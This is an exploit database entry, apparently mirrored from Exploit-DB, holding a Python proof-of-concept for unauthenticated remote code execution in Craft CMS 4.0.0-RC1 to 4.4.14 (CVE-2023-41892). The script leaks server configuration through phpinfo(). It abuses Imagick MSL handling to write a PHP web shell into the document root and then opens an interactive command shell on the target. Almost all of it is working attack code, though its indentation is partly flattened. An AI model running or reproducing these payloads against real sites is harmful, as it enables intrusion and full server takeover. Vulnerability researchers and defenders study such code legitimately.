Craft CMS 4.4.14 – Unauthenticated Remote Code Execution

• Exploit Database
• 15 阅读

• 作者： Olivier Lasne
  日期： 2024-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51918/

• #!/usr/bin/env python3
  #coding: utf-8
  
  # Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
  # Date: 2023-12-26
  # Version: 4.0.0-RC1 - 4.4.14
  # Vendor Homepage: https://craftcms.com/
  # Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
  # Tested on: Ubuntu 22.04.3 LTS
  # Tested on: Craft CMS 4.4.14
  # Exploit Author: Olivier Lasne
  # CVE : CVE-2023-41892
  # References :
  # https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
  # https://blog.calif.io/p/craftcms-rce
  
  import requests
  import sys, re
  
  if(len(sys.argv) < 2):
  print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")
  exit()
  
  HOST = sys.argv[1]
  
  if not re.match('^https?://.*', HOST):
  print("\033[1;31m[-]\033[0m URL should start with http or https")
  exit()
  
  print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")
  
  ## Execute phpinfo() and extract config info from the website
  url = HOST + '/index.php'
  content_type = {'Content-Type': 'application/x-www-form-urlencoded'}
  
  data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'
  
  try:
  r = requests.post(url, headers=content_type, data=data)
  except:
  print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")
  exit()
  
  # If we succeed, we should have default phpinfo credits 
  if not 'PHP Group' in r.text:
  	print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')
  	exit()
  
  
  # Extract config value for tmp_dir and document_root
  pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
  pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
  
  tmp_dir = re.search(pattern1, r.text, re.DOTALL).group(1)
  document_root = re.search(pattern2, r.text, re.DOTALL).group(1)
  
  
  if 'no value' in tmp_dir:
  	tmp_dir = '/tmp'
  
  print(f'temporary directory: {tmp_dir}')
  print(f'web server root: {document_root}')
  
  ## Create shell.php in tmp_dir
  
  data = {
  "action": "conditions/render",
  "configObject[class]": "craft\elements\conditions\ElementCondition",
  "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
  }
  
  files = {
  "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
  <image>
  <read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
  <write filename="info:DOCUMENTROOT/shell.php"/>
  </image>""".replace("DOCUMENTROOT", document_root), "text/plain")
  }
  
  print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')
  r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #
  
  
  # Use the Imagick trick to move the webshell in DOCUMENT_ROOT
  
  data = {
  "action": "conditions/render",
  "configObject[class]": r"craft\elements\conditions\ElementCondition",
  "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
  }
  
  print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')
  r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})
  
  if r.status_code != 502:
  print("\033[1;31m[-]\033[0m Exploit failed")
  exit()
  
  print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")
  print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")
  print("\033[1;92m[!]\033[0m Enjoy your shell\n")
  
  url = HOST + '/shell.php'
  
  ## Pseudo Shell
  while True:
  command = input('\033[1;96m>\033[0m ')
  if command == 'exit':
  exit()
  
  if command == 'clear' or command == 'cls':
  print('\n' * 100)
  print('\033[H\033[3J', end='')
  continue
  
  data = {'cmd' : command}
  r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})
  
  # exit if we have an error
  if r.status_code != 200:
  print(f"Error: status code {r.status_code} for {url}")
  exit()
  
  res_command = r.text
  res_command = re.sub('^caption:', '', res_command)
  res_command = re.sub(' CAPTION.*$', '', res_command)
  
  print(res_command, end='')